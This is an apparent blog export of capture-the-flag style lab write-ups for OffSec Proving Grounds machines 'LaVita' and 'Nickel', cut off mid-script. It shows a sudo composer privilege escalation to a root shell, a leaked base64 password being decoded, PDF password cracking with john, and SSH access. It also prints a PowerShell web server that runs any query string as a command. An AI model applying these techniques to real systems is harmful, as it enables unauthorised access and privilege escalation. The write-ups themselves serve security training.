\u0026#39;{\u0026#34;scripts\u0026#34;:{\u0026#34;x\u0026#34;:\u0026#34;/bin/sh\u0026#34;}}\u0026#39; \u0026gt;composer.json \u0026lt;$ echo \u0026#39;{\u0026#34;scripts\u0026#34;:{\u0026#34;x\u0026#34;:\u0026#34;/bin/sh\u0026#34;}}\u0026#39; \u0026gt;composer.json bash: composer.json: Permission denied We need to place the composer.json under /var/www/html/lavita and we need user www-data for that.\n1 2 3 www-data@debian:/var/www/html/lavita$ echo \u0026#39;{\u0026#34;scripts\u0026#34;:{\u0026#34;x\u0026#34;:\u0026#34;/bin/sh\u0026#34;}}\u0026#39; \u0026gt;composer.json \u0026lt;$ echo \u0026#39;{\u0026#34;scripts\u0026#34;:{\u0026#34;x\u0026#34;:\u0026#34;/bin/sh\u0026#34;}}\u0026#39; \u0026gt;composer.json www-data@debian:/var/www/html/lavita$ 1 2 3 4 5 6 7 8 9 skunk@debian:/var/www/html/lavita$ sudo composer --working-dir\\=/var/www/html/lavita run-script x \u0026lt;er --working-dir\\=/var/www/html/lavita run-script x Do not run Composer as root/super user! See https://getcomposer.org/root for details Continue as root/super user [yes]? yes yes \u0026gt; /bin/sh # whoami whoami root Root shell achieved!\n","permalink":"https://p4n4s.com/posts/offsec/lavita/","summary":"The lab will leverage enumeration techniques, including web enumeration, to uncover potential vulnerabilities. You will also exploit CVE-2021-3129 and demonstrate how to abuse SUDO permissions for unauthorized access. This lab focuses on understanding and exploiting vulnerabilities to enhance security awareness.","title":"PG Practice: Linux - LaVita"},{"content":"Machine Info Spoiler This lab demonstrates exploiting a credential disclosure in a web application to gain an initial foothold via SSH. Learners will extract credentials from a password-protected PDF to uncover a hidden administrative service, then bypass firewall protections using SSH port forwarding. The lab concludes with executing commands as SYSTEM and deploying a reverse shell, showcasing advanced enumeration, port forwarding, and privilege escalation techniques. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM PORT STATE SERVICE VERSION 21/tcp open ftp FileZilla ftpd 0.9.60 beta | ftp-syst: |_ SYST: UNIX emulated by FileZilla 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) | ssh-hostkey: | 3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA) | 256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA) |_ 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=nickel | Not valid before: 2025-12-06T11:11:21 |_Not valid after: 2026-06-07T11:11:21 | rdp-ntlm-info: | Target_Name: NICKEL | NetBIOS_Domain_Name: NICKEL | NetBIOS_Computer_Name: NICKEL | DNS_Domain_Name: nickel | DNS_Computer_Name: nickel | Product_Version: 10.0.18362 |_ System_Time: 2026-03-04T13:42:49+00:00 |_ssl-date: 2026-03-04T13:43:54+00:00; +13s from scanner time. 5040/tcp open unknown 7680/tcp open pando-pub? 8089/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Site doesn\u0026#39;t have a title. |_http-server-header: Microsoft-HTTPAPI/2.0 33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Site doesn\u0026#39;t have a title. |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|WAP Running (JUST GUESSING): Microsoft Windows 10 (97%), Linux 2.4.X|2.6.X (89%) OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linux:linux_kernel:2.4.18 Aggressive OS guesses: Microsoft Windows 10 1909 - 2004 (97%), Microsoft Windows 10 1903 - 21H1 (92%), Microsoft Windows 10 1709 - 21H2 (90%), Microsoft Windows 10 1909 (90%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (89%), OpenWrt White Russian 0.9 (Linux 2.4.30) (89%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (89%), Linux 2.4.18 (89%), Microsoft Windows 10 21H2 (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-03-04T13:42:51 |_ start_date: N/A |_clock-skew: mean: 12s, deviation: 0s, median: 12s | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required API Looking at ports open we see two web services. Browsing the first gives us this page. Button don\u0026rsquo;t seem to do much but looking at the HTML code we can see the connection with the service running on port 33333 as it acts as the API for it. The buttons wouldn\u0026rsquo;t work since the IP is wrong but we get the idea and the endpoints that should work. So we are going to test them.\n1 2 └─$ curl http://$VICTIM:33333/list-active-nodes \u0026lt;p\u0026gt;Cannot \u0026#34;GET\u0026#34; /list-running-procs\u0026lt;/p\u0026gt; At first we change the method from GET to POST.\n1 2 3 4 5 6 7 └─$ curl -X POST http://$VICTIM:33333/list-active-nodes \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD HTML 4.01//EN\u0026#34;\u0026#34;http://www.w3.org/TR/html4/strict.dtd\u0026#34;\u0026gt; \u0026lt;HTML\u0026gt;\u0026lt;HEAD\u0026gt;\u0026lt;TITLE\u0026gt;Length Required\u0026lt;/TITLE\u0026gt; \u0026lt;META HTTP-EQUIV=\u0026#34;Content-Type\u0026#34; Content=\u0026#34;text/html; charset=us-ascii\u0026#34;\u0026gt;\u0026lt;/HEAD\u0026gt; \u0026lt;BODY\u0026gt;\u0026lt;h2\u0026gt;Length Required\u0026lt;/h2\u0026gt; \u0026lt;hr\u0026gt;\u0026lt;p\u0026gt;HTTP Error 411. The request must be chunked or have a content length.\u0026lt;/p\u0026gt; \u0026lt;/BODY\u0026gt;\u0026lt;/HTML\u0026gt; Here we get the error that we haven\u0026rsquo;t included a required header on our request.\n1 2 3 4 5 └─$ curl -X POST http://$VICTIM:33333/list-active-nodes -H \u0026#34;Content-length: 0\u0026#34; \u0026lt;p\u0026gt;Not Implemented\u0026lt;/p\u0026gt; └─$ curl -X POST http://$VICTIM:33333/list-current-deployments -H \u0026#34;Content-length: 0\u0026#34; \u0026lt;p\u0026gt;Not Implemented\u0026lt;/p\u0026gt; We get a response that these endpoints haven\u0026rsquo;t been implemented which is strange but we get our luck on the last one!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 └─$ curl -X POST http://$VICTIM:33333/list-running-procs -H \u0026#34;Content-length: 0\u0026#34; name : System Idle Process commandline : name : System commandline : name : Registry commandline : name : smss.exe commandline : name : csrss.exe commandline : name : wininit.exe commandline : name : csrss.exe commandline : name : winlogon.exe commandline : winlogon.exe name : services.exe commandline : name : lsass.exe commandline : C:\\Windows\\system32\\lsass.exe name : fontdrvhost.exe commandline : \u0026#34;fontdrvhost.exe\u0026#34; name : fontdrvhost.exe commandline : \u0026#34;fontdrvhost.exe\u0026#34; name : dwm.exe commandline : \u0026#34;dwm.exe\u0026#34; name : Memory Compression commandline : name : powershell.exe commandline : powershell.exe -nop -ep bypass C:\\windows\\system32\\ws80.ps1 name : cmd.exe commandline : cmd.exe C:\\windows\\system32\\DevTasks.exe --deploy C:\\work\\dev.yaml --user ariah -p \u0026#34;[BASE64-ENCODED PASSWORD]\u0026#34; --server nickel-dev --protocol ssh name : powershell.exe commandline : powershell.exe -nop -ep bypass C:\\windows\\system32\\ws8089.ps1 name : powershell.exe commandline : powershell.exe -nop -ep bypass C:\\windows\\system32\\ws33333.ps1 name : FileZilla Server.exe commandline : \u0026#34;C:\\Program Files (x86)\\FileZilla Server\\FileZilla Server.exe\u0026#34; name : sshd.exe commandline : \u0026#34;C:\\Program Files\\OpenSSH\\OpenSSH-Win64\\sshd.exe\u0026#34; name : VGAuthService.exe commandline : \u0026#34;C:\\Program Files\\VMware\\VMware Tools\\VMware VGAuth\\VGAuthService.exe\u0026#34; name : vm3dservice.exe commandline : C:\\Windows\\system32\\vm3dservice.exe name : vmtoolsd.exe commandline : \u0026#34;C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\u0026#34; name : vm3dservice.exe commandline : vm3dservice.exe -n name : dllhost.exe commandline : C:\\Windows\\system32\\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235} name : WmiPrvSE.exe commandline : C:\\Windows\\system32\\wbem\\wmiprvse.exe name : msdtc.exe commandline : C:\\Windows\\System32\\msdtc.exe name : LogonUI.exe commandline : \u0026#34;LogonUI.exe\u0026#34; /flags:0x2 /state0:0xa395f055 /state1:0x41c64e6d name : conhost.exe commandline : \\??\\C:\\Windows\\system32\\conhost.exe 0x4 name : conhost.exe commandline : \\??\\C:\\Windows\\system32\\conhost.exe 0x4 name : conhost.exe commandline : \\??\\C:\\Windows\\system32\\conhost.exe 0x4 name : conhost.exe commandline : \\??\\C:\\Windows\\system32\\conhost.exe 0x4 name : MicrosoftEdgeUpdate.exe commandline : \u0026#34;C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe\u0026#34; /c name : SgrmBroker.exe commandline : name : SearchIndexer.exe commandline : C:\\Windows\\system32\\SearchIndexer.exe /Embedding name : WmiApSrv.exe commandline : C:\\Windows\\system32\\wbem\\WmiApSrv.exe We get the user credentials from the command line for user ariah. The password seems to be Base64 so we are going to reverse it.\nAriah\u0026#39;s creds 1 2 └─$ echo \u0026#34;Tm93aXNlU2xvb3BUaGVvcnkxMzkK\u0026#34; | base64 -d NowiseSloopTheory139 And voila that\u0026rsquo;s how we get user access to the Nickel host.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 └─$ ssh ariah@$VICTIM ariah@$VICTIM\u0026#39;s password: Microsoft Windows [Version 10.0.18362.1016] (c) 2019 Microsoft Corporation. All rights reserved. PS C:\\Users\\ariah\u0026gt; ls Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 10/15/2020 7:23 AM 3D Objects d-r--- 10/15/2020 7:23 AM Contacts d-r--- 4/14/2022 4:46 AM Desktop d-r--- 10/15/2020 7:23 AM Documents d-r--- 10/15/2020 7:23 AM Downloads d-r--- 10/15/2020 7:23 AM Favorites d-r--- 10/15/2020 7:25 AM Pictures d-r--- 10/15/2020 7:23 AM Saved Games d-r--- 10/15/2020 7:24 AM Searches d-r--- 10/15/2020 7:23 AM Videos PS C:\\Users\\ariah\u0026gt; cd Desktop PS C:\\Users\\ariah\\Desktop\u0026gt; ls Directory: C:\\Users\\ariah\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/4/2026 5:38 AM 34 local.txt Administrator Looking at the server we find the interesting file pretty quickly.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 PS C:\\\u0026gt; cd ftp PS C:\\ftp\u0026gt; ls Directory: C:\\ftp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/1/2020 11:02 AM 46235 Infrastructure.pdf PS C:\\ftp\u0026gt; We will use FTP to download it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 └─$ ftp ariah@$VICTIM -p Connected to $VICTIM. 220-FileZilla Server 0.9.60 beta 220-written by Tim Kosse (tim.kosse@filezilla-project.org) 220 Please visit https://filezilla-project.org/ 331 Password required for ariah Password: 230 Logged on Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; ls 229 Entering Extended Passive Mode (|||57162|) 150 Opening data channel for directory listing of \u0026#34;/\u0026#34; -r--r--r-- 1 ftp ftp 46235 Sep 01 2020 Infrastructure.pdf 226 Successfully transferred \u0026#34;/\u0026#34; ftp\u0026gt; get Infrastructure.pdf local: Infrastructure.pdf remote: Infrastructure.pdf 229 Entering Extended Passive Mode (|||49941|) 150 Opening data channel for file download from server of \u0026#34;/Infrastructure.pdf\u0026#34; 100% |************************************************| 46235 797.92 KiB/s 00:00 ETA 226 Successfully transferred \u0026#34;/Infrastructure.pdf\u0026#34; 46235 bytes received in 00:00 (793.60 KiB/s) ftp\u0026gt; bye 221 Goodbye Let\u0026rsquo;s use John the Ripper for this job.\n1 2 3 4 5 └─$ pdf2john Infrastructure.pdf Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*14350d814f7c974db9234e3e719e360b*32*6aa1a24681b93038947f76796470dbb100000000000000000000000000000000*32*d9363dc61ac080ac4b9dad4f036888567a2d468a6703faf6216af1eb307921b0 └─$ pdf2john Infrastructure.pdf \u0026gt; pdf_hash PDF password 1 2 3 4 5 6 7 8 9 10 └─$ john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash Using default input encoding: UTF-8 Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64]) Cost 1 (revision) is 4 for all loaded hashes Will run 20 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status ariah4168 (?) 1g 0:00:00:10 DONE (2026-03-04 16:18) 0.09803g/s 980831p/s 980831c/s 980831C/s ariana2005..ari7ana Use the \u0026#34;--show --format=PDF\u0026#34; options to display all of the cracked passwords reliably Session completed. From the PDF we see a backup system, a NAS, but what is more interesting is the endpoint for command execution. The thing is that we don\u0026rsquo;t know where these services are running. Let\u0026rsquo;s see the LISTENING ports on the server.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 PS C:\\\u0026gt; netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 1916 TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 2004 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 844 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1000 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 916 TCP 0.0.0.0:8089 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:33333 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 624 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 524 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 656 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 992 TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 616 TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 1828 TCP 127.0.0.1:80 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1916 TCP $VICTIM:22 $ATTACKER:43092 ESTABLISHED 2004 So we clearly see two TCP ports listening only to localhost. We can try to forward these to our ATTACKER host and see what we hit.\nTip If we remember from earlier from the running processes we would have a PS scripts running under C:\\Windows\\System32. These were basically Powershell webserver scripts that are doing some logic. In these we would be able to see all the endpoints and their actions. We had found three of these for each different port. Let\u0026rsquo;s first look at the PS script running on port 80.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 PS C:\\Windows\\System32\u0026gt; cat ws80.ps1 Param( [string]$BINDING = \u0026#39;http://127.0.0.1:80/\u0026#39;, [string]$BASEDIR = \u0026#39;C:\\temp\\\u0026#39; ) # If empty, use current filesystem path as base path for static content if ([string]::IsNullOrEmpty($BASEDIR)) { $BASEDIR = (Get-Location -PSProvider FileSystem).ToString() } # Convert to absolute path $BASEDIR = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($BASEDIR) # HTML answer templates for specific calls; placeholders: !RESULT, !FORMFIELD, !PROMPT, etc. $HTMLRESPONSECONTENTS = @{ \u0026#39;GET /\u0026#39; = @\u0026#34; \u0026lt;!doctype html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; dev-api started at $(Get-Date -Format s) \u0026lt;pre\u0026gt;!RESULT\u0026lt;/pre\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026#34;@ } # Set navigation header line for all web pages (optional) # $HEADERLINE = \u0026#34;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#39;/\u0026#39;\u0026gt;Command execution\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/script\u0026#39;\u0026gt;Execute script\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/download\u0026#39;\u0026gt;Download file\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/upload\u0026#39;\u0026gt;Upload file\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/log\u0026#39;\u0026gt;Web logs\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/starttime\u0026#39;\u0026gt;Webserver start time\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/time\u0026#39;\u0026gt;Current time\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/beep\u0026#39;\u0026gt;Beep\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/quit\u0026#39;\u0026gt;Stop webserver\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026#34; \u0026#34;$(Get-Date -Format s) Starting powershell webserver...\u0026#34; $LISTENER = New-Object System.Net.HttpListener $LISTENER.Prefixes.Add($BINDING) $LISTENER.Start() $Error.Clear() try { \u0026#34;$(Get-Date -Format s) Powershell webserver started.\u0026#34; $WEBLOG = \u0026#34;$(Get-Date -Format s) Powershell webserver started.`n\u0026#34; while ($LISTENER.IsListening) { # Analyze incoming request $CONTEXT = $LISTENER.GetContext() $REQUEST = $CONTEXT.Request $RESPONSE = $CONTEXT.Response $RESPONSEWRITTEN = $false # Log to console \u0026#34;$(Get-Date -Format s) $($REQUEST.RemoteEndPoint.Address) $($REQUEST.HttpMethod) $($REQUEST.Url.PathAndQuery)\u0026#34; # Log to variable $WEBLOG += \u0026#34;$(Get-Date -Format s) $($REQUEST.RemoteEndPoint.Address) $($REQUEST.HttpMethod) $($REQUEST.Url.PathAndQuery)`n\u0026#34; # Fixed coding for the request? $RECEIVED = \u0026#39;{0} {1}\u0026#39; -f $REQUEST.HttpMethod, $REQUEST.Url.LocalPath $HTMLRESPONSE = $HTMLRESPONSECONTENTS[$RECEIVED] $RESULT = \u0026#39;\u0026#39; switch ($RECEIVED) { \u0026#39;GET /\u0026#39; { # Read raw query string (without leading \u0026#39;?\u0026#39;) $FORMFIELD = [uri]::UnescapeDataString(($REQUEST.Url.Query -replace \u0026#39;^\\?\u0026#39;, \u0026#39;\u0026#39;)) if (-not [string]::IsNullOrEmpty($FORMFIELD)) { try { $RESULT = Invoke-Expression -EA SilentlyContinue $FORMFIELD 2\u0026gt; $null | Out-String } catch { # Ignore; some errors won\u0026#39;t throw exceptions } if ($Error.Count -gt 0) { $RESULT += \u0026#34;`nError while executing \u0026#39;$FORMFIELD\u0026#39;`n`n\u0026#34; $RESULT += $Error[0] $Error.Clear() } } } { $_ -like \u0026#39;* /download\u0026#39; } { # Download file (GET or POST supported) # Is POST data in the request? if ($REQUEST.HasEntityBody) { $READER = New-Object System.IO.StreamReader($REQUEST.InputStream, $REQUEST.ContentEncoding) $DATA = $READER.ReadToEnd() $READER.Close() $REQUEST.InputStream.Close() # Parse URL-encoded body into a hashtable $HEADER = @{} $DATA.Split(\u0026#39;\u0026amp;\u0026#39;) | ForEach-Object { $k = [uri]::UnescapeDataString(($_.Split(\u0026#39;=\u0026#39;)[0] -replace \u0026#39;\\+\u0026#39;, \u0026#39; \u0026#39;)) $v = [uri]::UnescapeDataString(($_.Split(\u0026#39;=\u0026#39;)[1] -replace \u0026#39;\\+\u0026#39;, \u0026#39; \u0026#39;)) $HEADER.Add($k, $v) } # Read header \u0026#39;filepath\u0026#39; $FORMFIELD = $HEADER.Item(\u0026#39;filepath\u0026#39;) # Remove surrounding quotes (Test-Path doesn\u0026#39;t like them) $FORMFIELD = $FORMFIELD -replace \u0026#39;^`\u0026#34;\u0026#39;, \u0026#39;\u0026#39; -replace \u0026#39;`\u0026#34;$\u0026#39;, \u0026#39;\u0026#39; } if (-not [string]::IsNullOrEmpty($FORMFIELD)) { if (Test-Path $FORMFIELD -PathType Leaf) { try { $BUFFER = [System.IO.File]::ReadAllBytes($FORMFIELD) $RESPONSE.ContentLength64 = $BUFFER.Length $RESPONSE.SendChunked = $false $RESPONSE.ContentType = \u0026#39;application/octet-stream\u0026#39; $FILENAME = Split-Path -Leaf $FORMFIELD $RESPONSE.AddHeader(\u0026#39;Content-Disposition\u0026#39;, \u0026#34;attachment; filename=$FILENAME\u0026#34;) $RESPONSE.AddHeader(\u0026#39;Last-Modified\u0026#39;, [IO.File]::GetLastWriteTime($FORMFIELD).ToString(\u0026#39;r\u0026#39;)) $RESPONSE.AddHeader(\u0026#39;Server\u0026#39;, \u0026#39;Powershell Webserver/1.2 on \u0026#39;) $RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length) $RESPONSEWRITTEN = $true } catch { # Ignore; handle via $Error after } if ($Error.Count -gt 0) { $RESULT += \u0026#34;`nError while downloading \u0026#39;$FORMFIELD\u0026#39;`n`n\u0026#34; $RESULT += $Error[0] $Error.Clear() } } else { $RESULT = \u0026#34;File $FORMFIELD not found\u0026#34; } } # Preset form value with file path for the caller\u0026#39;s convenience $HTMLRESPONSE = $HTMLRESPONSE -replace \u0026#39;!FORMFIELD\u0026#39;, $FORMFIELD break } \u0026#39;GET /upload\u0026#39; { # Present upload form break } \u0026#39;POST /upload\u0026#39; { # Upload file if ($REQUEST.HasEntityBody) { $RESULT = \u0026#39;Received corrupt or incomplete form data\u0026#39; if ($REQUEST.ContentType) { # Retrieve boundary marker for multipart separation $BOUNDARY = $null if ($REQUEST.ContentType -match \u0026#39;boundary=(.*);\u0026#39;) { $BOUNDARY = \u0026#39;--\u0026#39; + $Matches[1] } elseif ($REQUEST.ContentType -match \u0026#39;boundary=(.*)$\u0026#39;) { $BOUNDARY = \u0026#39;--\u0026#39; + $Matches[1] } if ($BOUNDARY) { $READER = New-Object System.IO.StreamReader($REQUEST.InputStream, $REQUEST.ContentEncoding) $DATA = $READER.ReadToEnd() $READER.Close() $REQUEST.InputStream.Close() $FILENAME = \u0026#39;\u0026#39; $SOURCENAME = \u0026#39;\u0026#39; $FILEDATA = \u0026#39;\u0026#39; # Separate headers by boundary string $DATA -replace \u0026#34;$BOUNDARY--\\r\\n\u0026#34;, \u0026#34;$BOUNDARY`r`n--\u0026#34; -split \u0026#34;$BOUNDARY\\r\\n\u0026#34; | ForEach-Object { if (($_ -eq \u0026#39;\u0026#39;) -or ($_ -eq \u0026#39;--\u0026#39;)) { return } # Only if well-defined header (metadata/data separation) $splitIdx = $_.IndexOf(\u0026#34;`r`n`r`n\u0026#34;) if ($splitIdx -le 0) { return } $META = $_.Substring(0, $splitIdx) $BODY = $_.Substring($splitIdx + 4) -replace \u0026#34;`r`n$\u0026#34;, \u0026#39;\u0026#39; if ($META -match \u0026#39;Content-Disposition: form-data; name=(.*);\u0026#39;) { $HEADERNAME = ($Matches[1] -replace \u0026#39;\u0026#34;\u0026#39;, \u0026#39;\u0026#39;) if ($HEADERNAME -eq \u0026#39;filedata\u0026#39;) { if ($META -match \u0026#39;filename=(.*)\u0026#39;) { $SOURCENAME = ($Matches[1] -replace \u0026#34;`r`n$\u0026#34;, \u0026#39;\u0026#39; -replace \u0026#34;`r$\u0026#34;, \u0026#39;\u0026#39; -replace \u0026#39;\u0026#34;\u0026#39;, \u0026#39;\u0026#39;) $FILEDATA = $BODY } } elseif ($HEADERNAME -eq \u0026#39;filepath\u0026#39;) { $FILENAME = ($BODY -replace \u0026#34;`r`n$\u0026#34;, \u0026#39;\u0026#39; -replace \u0026#34;`r$\u0026#34;, \u0026#39;\u0026#39; -replace \u0026#39;\u0026#34;\u0026#39;, \u0026#39;\u0026#39;) } } } if ($FILENAME -ne \u0026#39;\u0026#39;) { if ($SOURCENAME -ne \u0026#39;\u0026#39;) { # Check/construct target filename if (Test-Path $FILENAME -PathType Container) { $TARGETNAME = Join-Path $FILENAME -ChildPath (Split-Path $SOURCENAME -Leaf) } else { $TARGETNAME = $FILENAME } try { # Save file with same encoding as received [IO.File]::WriteAllText($TARGETNAME, $FILEDATA, $REQUEST.ContentEncoding) } catch { # Ignore; handle via $Error after } if ($Error.Count -gt 0) { $RESULT += \u0026#34;`nError saving \u0026#39;$TARGETNAME\u0026#39;`n`n\u0026#34; $RESULT += $Error[0] $Error.Clear() } else { $RESULT = \u0026#34;File $SOURCENAME successfully uploaded as $TARGETNAME\u0026#34; } } else { $RESULT = \u0026#39;No file data received\u0026#39; } } else { $RESULT = \u0026#39;Missing target file name\u0026#39; } } } } else { $RESULT = \u0026#39;No client data received\u0026#39; } break } \u0026#39;GET /log\u0026#39; { $RESULT = $WEBLOG break } \u0026#39;GET /time\u0026#39; { $RESULT = Get-Date -Format s break } \u0026#39;GET /starttime\u0026#39; { # Already in template break } \u0026#39;GET /beep\u0026#39; { [Console]::Beep(800, 300) # or \u0026#34;`a\u0026#34; or [char]7 break } \u0026#39;GET /quit\u0026#39; { break } \u0026#39;GET /exit\u0026#39; { break } default { # Unknown command: check if path maps to a directory or file in $BASEDIR $CHECKDIR = $BASEDIR.TrimEnd(\u0026#39;/\\\u0026#39;) + $REQUEST.Url.LocalPath $CHECKFILE = \u0026#39;\u0026#39; if (Test-Path $CHECKDIR -PathType Container) { # Directory: try common index files $IDXLIST = \u0026#39;/index.htm\u0026#39;, \u0026#39;/index.html\u0026#39;, \u0026#39;/default.htm\u0026#39;, \u0026#39;/default.html\u0026#39; foreach ($IDXNAME in $IDXLIST) { $candidate = $CHECKDIR.TrimEnd(\u0026#39;/\\\u0026#39;) + $IDXNAME if (Test-Path $candidate -PathType Leaf) { $CHECKFILE = $candidate break } } if ($CHECKFILE -eq \u0026#39;\u0026#39;) { # Generate directory listing $HTMLRESPONSE = @\u0026#34; \u0026lt;!doctype html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;$($REQUEST.Url.LocalPath)\u0026lt;/title\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;$($REQUEST.Url.LocalPath)\u0026lt;/h1\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;pre\u0026gt; \u0026#34;@ if ($REQUEST.Url.LocalPath -notin @(\u0026#39;\u0026#39;, \u0026#39;/\u0026#39;, \u0026#39;`\u0026#34;\u0026#39;, \u0026#39;.\u0026#39;)) { $PARENTDIR = (Split-Path $REQUEST.Url.LocalPath -Parent) -replace \u0026#39;\\\\\u0026#39;, \u0026#39;/\u0026#39; if ($PARENTDIR.IndexOf(\u0026#39;/\u0026#39;) -ne 0) { $PARENTDIR = \u0026#39;/\u0026#39; + $PARENTDIR } $HTMLRESPONSE += \u0026#34;\u0026lt;pre\u0026gt;\u0026lt;a 